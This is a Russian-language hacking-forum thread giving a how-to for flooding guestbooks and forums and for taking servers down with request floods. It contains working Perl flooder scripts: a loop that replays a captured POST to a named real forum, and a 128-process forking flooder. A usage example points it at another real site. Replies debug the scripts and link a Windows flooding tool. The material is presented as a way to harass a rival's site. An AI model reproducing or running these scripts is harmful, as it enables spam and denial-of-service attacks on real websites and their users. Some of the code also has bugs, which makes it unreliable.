Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Howto.Флуд гостевых книг, форумов и т.д. |

26.11.2006, 02:45
|
|
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
Провел на форуме: 1045663
Репутация:
864
|
|
Howto.Флуд гостевых книг, форумов и т.д.
Флуд веба в домашних условиях.
Эта статья - некий аналог доки "Написание эксплоита для Web в домашних условиях"
Только мы будем писать всякие флудеры и прочие нехорошие вещи :)
Прошу каментить и оценивать
Начали :)
I Intro
Наверняка каждый из нас заходил на домашнюю страничку недруга и видел там пункт "гостевая книга". Многим захотелось написать туда сообщение.И не одно :)
В этой статье я расскажу как такое можно сделать.
Сразу оговорюсь, что все флудеры я буду писать на перле.
Итак, вот что нам понадобится:
1)Браузер Firefox с плагином Live HTTP Headers.Без него можно, но гораздо удобней именно с плагином.
2)perl, желательно на nix-системе.Возможны варианты с денвером, active perl'ом, cygwin'ом
3)Прямые руки и начальные знания HTTP протокола и программирования.
Постараюсь описать на реальных примерах.
II Inside
Как устроены гостевые книги? Чаще всего это html-форма через которую клиент передает сообщение и php-скрипт, который собственно это сообщение добавляет в базу (реже - файл). Для примера возьмем форум одного "мега-портала" - linuxsuxx.fastbb.ru
Вот "скелет" флудера:
Код:
#!/usr/bin/perl -w
use IO::Socket;
$host = "[victimhost]";
$pack='[http packet dump]'
while (1) {
my $h_sock = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, PeerProto => tcp) or die "No Answer";
print $h_sock $req;
}
Как видите, все очень просто.
Переменной $host задается хост для флуда, в $pack пихается дамп пакета.
Т.к. все на борда.ру написано на яваскриптах, мы будем использовать Live HTTP Heders или любой другой аналогичный плагин. Запускаем LiveHTTPHeaders, пишем постик на свой вкус и жмем "отправить". Получаем дамп трафика.Keep-Alive лушче сразу удалить, потому что нам сервер нужен живим, а кипаливом мы его совсем убьем :)
Вот код флудера под борду:
Код:
#!/usr/bin/perl -w
use IO::Socket;
$host = " linuxsuxx.fastbb.ru";
$pack='POST / HTTP/1.1
Host: linuxsuxx.borda.ru
User-Agent: Agent Smith
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q= 0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Referer: http://linuxsuxx.borda.ru/?0-0
Cookie: s=7fnô5fôù
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
parol=7fn%F45f%F4%F9&work=2&razdel=0&start=0&filenumber=&msgid=&start_page_re=0&adresat=&only_new_re=0&statisc=308777%601280%6024%60no%60no%60no%60no%60no&title=Another+Fl00d&message=%D2%F3%F2+%E1%FB%EB+%CF%F3%EF%E0+%C2%E0%F1%FC%EA%E8%ED.&nick=3v1l+b0t&pass=';
while (1) {
my $h_sock = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, PeerProto => tcp ) or die "sock";
print $h_sock $pack;
}
По вкусу можно вставлять sleep в цикл :)
У нас флудер однопоточный, т.к. нам нужно не убить сервер а зафлудить скрипт. Скрипт готов. Запускаем. Наслаждаемся :)
III Флуд серверов, баз данных.
Иногда бывает проще задосить сервер целиком.
Некоторые навароченные движки делают под 20 SQL запросов за раз. Давайте подумаем, что будет если мы одновременно пошелм 5 запросов? А 10?
Чем больше запросов - тем проще будет скрипт завалить.
Код многопоточного флудера:
Код:
#!/usr/bin/perl -w
#########################
# USE AT YOUR OWN RISK #
# Coded by Gh0s7 #
#########################
use IO::Socket;
if(@ARGV < 3) { usage();}
$host = $ARGV[0];
$port = $ARGV[1];
$proto = $ARGV[2];
$ifile = $ARGV[3];
$thread= 128;
sub usage
{
print "#############################################\n";
print "./ps.pl [host] [port] [proto] [Packet_file] \n";
print "#############################################\n";
exit 1;
}
open (IFILE,$ifile) or die ("iFile");
sysread (IFILE,$buff,5000);
close (IFILE);
$sock = "$buff\n";
#Test Fork
for ( $i = 1; $i < $thread; $i++)
{
$proc = fork;
if ( $proc == "0" ) { last; }
print ("[ $proc ($i) Process Ready ]\n") || print "[ Cannot Fork ]\n" && last;
# print ("[ $proc ($i) Started! ]\n");
}
while ( 1 )
{
my $h_sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "$port", Proto => "$proto" ) or print ("[ $$ Closed Sock ] \n") && sleep 5 && next;
print $h_sock "$sock" ;
print "[ $$ Send Req ]\n";
# sleep 0.5;
#Use at your own risk!
#NO TIMEOUT!
}
IV Outro
Как видите флуд - очень простая вещь.Главное - знать основы протокола HTTP. А дальше все делается по анологии ;)
Links:
HTTP 1.0 rfc
Для Тренировки ;)
Live HTTP Headers
Не шали (С)
|
|
|

26.11.2006, 03:31
|
|
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
Провел на форуме: 1045663
Репутация:
864
|
|
Кто и какого переместил статью в "чужие"?
Статья моя.Напсиана только что.Прошу вернуть.
[Added]
Поискал в гугле.Первый ответ на "флуд веба в домаших условиях" - фак по домашним роутерам.А вторая... на эм... форум зоофилов...интересно, почему.
Added
NOFEAR, спасибо за возврат доки на место 
Последний раз редактировалось Gh0s7; 26.11.2006 в 03:39..
|
|
|

26.11.2006, 03:58
|
|
Banned
Регистрация: 30.10.2006
Сообщений: 38
Провел на форуме: 55140
Репутация:
-21
|
|
Я перл актив поставил но у меня ничего не получаеться 
Там что ошибки какие то?
|
|
|

26.11.2006, 04:19
|
|
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
Провел на форуме: 3405508
Репутация:
1745
|
|
Выложи какие баги он тебе выдал!
|
|
|

26.11.2006, 06:29
|
|
Banned
Регистрация: 30.10.2006
Сообщений: 38
Провел на форуме: 55140
Репутация:
-21
|
|
При запуске однопоточного флудера:
Unquoted string "tcp" may clash with future reserved word at D:\путь к сплоиту\sploit.pl
sploit.pl line 23.
При запуске многопоточного флудера:
print (...) interpreted as function at D:\путь к сплоиту\sploit.pl line 45.
#############################################
./ps.pl [host] [port] [proto] [Packet_file]
#############################################
Я думаю что это связано с ошибкой (а возможно их несколько) в коде и не исключаю что они сделаны умышленно.
Знающих людей прошу найти ошибку и исправить
|
|
|

26.11.2006, 13:54
|
|
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
Провел на форуме: 1045663
Репутация:
864
|
|
Сообщение от Кэйн
При запуске однопоточного флудера:
Unquoted string "tcp" may clash with future reserved word at D:\путь к сплоиту\sploit.pl
sploit.pl line 23.
При запуске многопоточного флудера:
print (...) interpreted as function at D:\путь к сплоиту\sploit.pl line 45.
#############################################
./ps.pl [host] [port] [proto] [Packet_file]
#############################################
Я думаю что это связано с ошибкой (а возможно их несколько) в коде и не исключаю что они сделаны умышленно.
Знающих людей прошу найти ошибку и исправить
Хм.Моя вина. Оно не выдало ни одной ошибки, все ок.
Перевожу:
ипсользование: /путь/к/флудеру/ хост(кого флудить) порт(чаще всего 80) протокол (чаще всего tcp) дамп_пакета
Т.к. он многопоточный (на форке, хотя ксури был против  ) то завалить можно практически все.Чем тяжелее скрипт (больше запросово к базе данных) тем легче его завалить.
Для примера возьмем forum.cosmo.ru
Апач на 80 порту, использует тсп (ибо хттп  )
Видим что борда у них навароченная.Создаем файлик ind.txt с содержанием:
Пустую строку сохранаяем тоже.Даем команду:
/путь/к/флудеру.pl forum.cosmo.ru 80 tcp ind.txt
После этого он будет сиильно тормозить 
|
|
|

11.12.2006, 16:45
|
|
Познающий
Регистрация: 11.09.2006
Сообщений: 59
Провел на форуме: 70702
Репутация:
52
|
|
Gh0s7 поправлю - потоки и процессы разные вещи.
У тебя как ты думал создается в цикле заданное число процессов, но на самом деле они создаются последовательно, а должно быть однавременно!
|
|
|

22.12.2006, 07:02
|
|
Участник форума
Регистрация: 10.01.2006
Сообщений: 193
Провел на форуме: 553876
Репутация:
81
|
|
Сообщение от Gh0s7
/путь/к/флудеру.pl forum.cosmo.ru 80 tcp ind.txt
После этого он будет сиильно тормозить 
/путь/к/флудеру.pl - имеется ввиду флудёр что вы описали вначале статьи?
|
|
|

22.12.2006, 19:03
|
|
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме: 5151669
Репутация:
1198
|
|
Флуд под Windows
Хватит мусолить клаву, пора и мышь задействовать -))
А почему бы и нет???? вот моя программа, кстати кажеться на первый взгляд аналог InetCrack, но моя работает ))) по крайней мере флудила там, где инеткряк не пытался даже...
Всё ясно, как день... достаточно перехватить сессию и вставить в мой софт..
//скачать //30 кб
Перехватить пакет можно естсественно Naviscope:
//скачать //313 кб
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|